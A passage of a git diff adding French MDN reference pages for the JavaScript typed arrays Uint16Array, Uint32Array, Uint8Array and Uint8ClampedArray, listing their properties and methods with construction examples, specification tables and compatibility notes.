Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Uint16Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Uint16Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Uint16Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Uint16Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Uint16Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Uint16Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Uint16Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet Uint16Array :

+ +
// Construction à partir d'une longueur
+var uint16 = new Uint16Array(2);
+uint16[0] = 42;
+console.log(uint16[0]); // 42
+console.log(uint16.length); // 2
+console.log(uint16.BYTES_PER_ELEMENT); // 2
+
+// Construction à partir d'un tableau
+var arr = new Uint16Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Uint16Array([21, 31]);
+var y = new Uint16Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint16Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint16 = new Uint16Array(iterable);
+// Uint16Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint16Array afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Uint16Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Uint16Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Uint16Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Uint16Array([1, 2, 3]);
+// TypeError: calling a builtin Uint16Array constructor
+// without new is forbidden
+ +
var dv = new Uint16Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/uint32array/index.html b/files/fr/web/javascript/reference/global_objects/uint32array/index.html new file mode 100644 index 0000000000..a678150934 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/uint32array/index.html @@ -0,0 +1,206 @@ +--- +title: Uint32Array +slug: Web/JavaScript/Reference/Objets_globaux/Uint32Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays + - Uint32Array +translation_of: Web/JavaScript/Reference/Global_Objects/Uint32Array +--- +
{{JSRef}}
+ +

Le tableau typé Uint32Array permet de représenter un tableau d'entiers non signés représentés sur 32 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

+ +

Syntaxe

+ +
new Uint32Array(); // apparu avec ES2017
+new Uint32Array(longueur);
+new Uint32Array(tableauTypé);
+new Uint32Array(objet);
+new Uint32Array(tampon [, décalage [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint32Array.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'Uint32Array, ce sera 4.
+
Uint32Array.length
+
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Uint32Array.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint32Array ce sera : "Uint32Array".
+
{{jsxref("TypedArray.prototype", "Uint32Array.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "Uint32Array.from()")}}
+
Cette méthode permet de créer un nouveau tableau typé Uint32Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Uint32Array.of()")}}
+
Cette méthode permet de créer un nouvel objet Uint32Array à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype Uint32Array

+ +

Tous les objets Uint32Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Uint32Array.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint32Array.
+
{{jsxref("TypedArray.prototype.buffer", "Uint32Array.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint32Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Uint32Array.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint32Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Uint32Array.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Uint32Array.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint32Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Uint32Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Uint32Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Uint32Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Uint32Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Uint32Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Uint32Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Uint32Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Uint32Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Uint32Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Uint32Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Uint32Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Uint32Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Uint32Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Uint32Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint32Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Uint32Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Uint32Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Uint32Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Uint32Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Uint32Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Uint32Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Uint32Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Uint32Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Uint32Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Uint32Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Uint32Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Uint32Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Uint32Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de créer un objet Uint32Array :

+ +
// Construction à partir d'une longueur
+var uint32 = new Uint32Array(2);
+uint32[0] = 42;
+console.log(uint32[0]); // 42
+console.log(uint32.length); // 2
+console.log(uint32.BYTES_PER_ELEMENT); // 4
+
+// Construction à partir d'un tableau
+var arr = new Uint32Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Uint32Array([21, 31]);
+var y = new Uint32Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(16);
+var z = new Uint32Array(buffer, 0, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint32 = new Uint32Array(iterable);
+// Uint32Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015.
{{SpecName('ES2015', '#table-49', 'TypedArray constructors')}}{{Spec2('ES2015')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint32Array afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Uint32Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Uint32Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Uint32Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Uint32Array([1, 2, 3]);
+// TypeError: calling a builtin Uint32Array constructor
+// without new is forbidden
+ +
var dv = new Uint32Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/uint8array/index.html b/files/fr/web/javascript/reference/global_objects/uint8array/index.html new file mode 100644 index 0000000000..3e9c1599e6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/uint8array/index.html @@ -0,0 +1,206 @@ +--- +title: Uint8Array +slug: Web/JavaScript/Reference/Objets_globaux/Uint8Array +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays + - Uint8Array +translation_of: Web/JavaScript/Reference/Global_Objects/Uint8Array +--- +
{{JSRef}}
+ +

Le tableau typé Uint8Array représente un tableau d'entiers non signés, représentés sur 8 bits. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

+ +

Syntaxe

+ +
new Uint8Array(); // apparu avec ES2017
+new Uint8Array(longueur);
+new Uint8Array(tableauTypé);
+new Uint8Array(objet);
+new Uint8Array(tampon [, décalage [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8Array.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie la taille d'un élément du tableau, en octets. En l'occurence, pour Uint8Array ce sera 1.
+
Uint8Array.length
+
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Uint8Array.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint8Array ce sera : "Uint8Array".
+
{{jsxref("TypedArray.prototype", "Uint8Array.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "Uint8Array.from()")}}
+
Cette méthode permet de créer un nouvel objet Uint8Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Uint8Array.of()")}}
+
Cette méthode permet de créer un nouvel objet Uint8Array à partir d'un nombre variables d'arguments. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype Uint8Array

+ +

Tous les objets Uint8Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Uint8Array.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint8Array.
+
{{jsxref("TypedArray.prototype.buffer", "Uint8Array.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint8Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Uint8Array.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint8Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Uint8Array.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "Uint8Array.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau Uint8Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "Uint8Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "Uint8Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "Uint8Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "Uint8Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "Uint8Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "Uint8Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "Uint8Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "Uint8Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "Uint8Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "Uint8Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "Uint8Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "Uint8Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "Uint8Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.move", "Uint8Array.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}
+
Ancienne version, non-standard, de {{jsxref("TypedArray.copyWithin", "Uint8Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.reduce", "Uint8Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "Uint8Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "Uint8Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "Uint8Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "Uint8Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "Uint8Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "Uint8Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "Uint8Array.prototype.subarray()")}}
+
Renvoie un nouvel objet Uint8Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "Uint8Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "Uint8Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "Uint8Array.prototype.toString()")}}
+
Renvoie une chaîne de caractère qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toString()")}}.
+
{{jsxref("TypedArray.@@iterator", "Uint8Array.prototype[@@iterator]()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau.
+
+ +

Exemples

+ +

Différentes façons de construire un objet Uint8Array :

+ +
// Construction à partir d'une longueur
+var uint8 = new Uint8Array(2);
+uint8[0] = 42;
+console.log(uint8[0]); // 42
+console.log(uint8.length); // 2
+console.log(uint8.BYTES_PER_ELEMENT); // 1
+
+// Construction à partir d'un tableau
+var arr = new Uint8Array([21,31]);
+console.log(arr[1]); // 31
+
+// Construction à partir d'un tableau typé
+var x = new Uint8Array([21, 31]);
+var y = new Uint8Array(x);
+console.log(y[0]); // 21
+
+// Construction à partir d'un ArrayBuffer
+var buffer = new ArrayBuffer(8);
+var z = new Uint8Array(buffer, 1, 4);
+
+// Construction à partir d'un itérable
+var iterable = function*(){ yield* [1,2,3]; }();
+var uint8 = new Uint8Array(iterable);
+// Uint8Array[1, 2, 3]
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('Typed Array')}}{{Spec2('Typed Array')}}Englobée par ECMAScript 2015.
{{SpecName('ES6', '#table-49', 'TypedArray constructors')}}{{Spec2('ES6')}}Définition initiale au sein d'un standard ECMA. new est obligatoire.
{{SpecName('ESDraft', '#table-49', 'TypedArray constructors')}}{{Spec2('ESDraft')}}ECMAScript 2017 a modifié le constructeur Uint8Array afin qu'il utilise l'opération ToIndex et qu'il puisse être utilisé sans argument.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Uint8Array")}}

+ +

Notes de compatibilité

+ +

À partir d'ECMAScript 2015 (ES6), Uint8Array doit être utilisé avec {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Appeler un constructeur Uint8Array comme une fonction, sans new, provoquera une exception {{jsxref("TypeError")}}.

+ +
var dv = Uint8Array([1, 2, 3]);
+// TypeError: calling a builtin Uint8Array constructor
+// without new is forbidden
+ +
var dv = new Uint8Array([1, 2, 3]);
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/global_objects/uint8clampedarray/index.html b/files/fr/web/javascript/reference/global_objects/uint8clampedarray/index.html new file mode 100644 index 0000000000..f90e9a322b --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/uint8clampedarray/index.html @@ -0,0 +1,208 @@ +--- +title: Uint8ClampedArray +slug: Web/JavaScript/Reference/Objets_globaux/Uint8ClampedArray +tags: + - Constructor + - JavaScript + - Reference + - TypedArray + - TypedArrays + - Uint8ClampedArray +translation_of: Web/JavaScript/Reference/Global_Objects/Uint8ClampedArray +--- +
{{JSRef}}
+ +

Le tableau typé Uint8ClampedArray permet de représenter un tableau d'entiers non signés représentés sur 8 bits, dont les valeurs sont ramenées entre 0 et 255. Si une valeur non-entière est fournie, elle sera arrondie à l'entier le plus proche. Les éléments du tableau sont initialisés à 0. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

+ +

Syntaxe

+ +
new Uint8ClampedArray(); // apparu avec ES2017
+new Uint8ClampedArray(longueur);
+new Uint8ClampedArray(tableauTypé);
+new Uint8ClampedArray(objet);
+new Uint8ClampedArray(tampon [, décalage [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "Uint8ClampedArray.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie la taille d'un élément du tableau, en octets. En l'occurence, pour Uint8ClampedArray ce sera 1.
+
Uint8ClampedArray.length
+
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Uint8ClampedArray.prototype.length")}}.
+
{{jsxref("TypedArray.name", "Uint8ClampedArray.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour Uint8ClampedArray ce sera : "Uint8ClampedArray".
+
{{jsxref("TypedArray.prototype", "Uint8ClampedArray.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "Uint8ClampedArray.from()")}}
+
Cette méthode permet de créer un nouvel objet Uint8ClampedArray à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "Uint8ClampedArray.of()")}}
+
Cette méthode permet de créer un nouvel objet Uint8ClampedArray à partir d'un nombre variable d'arguments. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype Uint8ClampedArray

+ +

Tous les objets Uint8ClampedArray héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
Uint8ClampedArray.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur Uint8ClampedArray.
+
{{jsxref("TypedArray.prototype.buffer", "Uint8ClampedArray.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet Uint8ClampedArray Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "Uint8ClampedArray.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur, exprimée en octets, de l'objet Uint8ClampedArray à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "Uint8ClampedArray.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
